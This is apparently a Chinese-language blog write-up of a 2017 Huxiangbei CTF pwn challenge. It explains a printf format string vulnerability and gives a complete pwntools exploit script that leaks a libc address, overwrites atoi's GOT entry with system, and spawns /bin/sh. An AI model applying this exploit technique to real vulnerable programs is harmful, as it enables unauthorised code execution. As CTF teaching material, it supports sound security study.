2017湖湘杯pwn200的wp

湖湘杯的pwn比賽很有趣,我做了pwns200的題目,感覺不錯,我把wp分享出來,pwns的下載鏈接是:http://download.csdn.net/download/niexinming/10142411
把pwns100直接拖入ida中:
main函數:
image
sub_80485CD函數:
image
在sub_80485CD函數可以看到輸入的數據直接進入了printf函數中,所以這個肯定是一個格式化字符串漏洞
先運行一下程序看一下這個程序幹了啥
image
再看看程序開啓了哪些保護:
image
這個程序開了Canary和棧不可執行
這個題目的思路和http://blog.csdn.net/niexinming/article/details/78512274差不多,唯一不同的是上一個題目提供了system函數,這個題目要從libc中找system函數,所以首先通過printf打印__libc_start_main函數這個地址,然後根據偏移計算libc的基地址,然後計算出system的實際地址,最後用fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})把atio的地址覆蓋爲system的地址,就可以getshell了
我的exp是:

from pwn import *

def debug(addr = '0x0804867E'):
    raw_input('debug:')
    gdb.attach(r, "b *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

#localsystem = 0x0003ADA0

context(arch='i386', os='linux', log_level='debug')

r = process('/home/h11p/hackme/huxiangbei/pwne')

#r = remote('hackme.inndy.tw', 7711)

elf = ELF('/home/h11p/hackme/huxiangbei/pwne')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def exec_fmt(payload):
    r.recvuntil('WANT PLAY[Y/N]\n')
    r.sendline('Y')
    r.recvuntil('GET YOUR NAME:\n')
    r.recvuntil('\n')
    r.sendline(payload)
    info = r.recv().splitlines()[1]
    print "info:"+info
    r.sendline('10')
    #r.close()
    return info
autofmt = FmtStr(exec_fmt)
r.close()

r = process('/home/h11p/hackme/huxiangbei/pwne')
atoi_got_addr = elf.got['atoi']
print "%x" % atoi_got_addr
system_offset_addr = libc.symbols['system']
print "%x" % system_offset_addr

payload1="%35$p"

#debug()

r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload1)
libc_start_main = r.recv().splitlines()[1]
libc_module=base_addr(libc_start_main,0x18637)
system_addr=libc_module+system_offset_addr
print "system_addr:"+hex(system_addr)
r.sendline('10')

payload2 = fmtstr_payload(autofmt.offset, {atoi_got_addr: system_addr})
r.recvuntil('WANT PLAY[Y/N]\n')
r.sendline('Y')
r.recvuntil('GET YOUR NAME:\n')
r.recvuntil('\n')
r.sendline(payload2)
r.recv()
#r.sendline('10')
r.sendline('/bin/sh')
r.interactive()
r.close()

效果是:
image

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章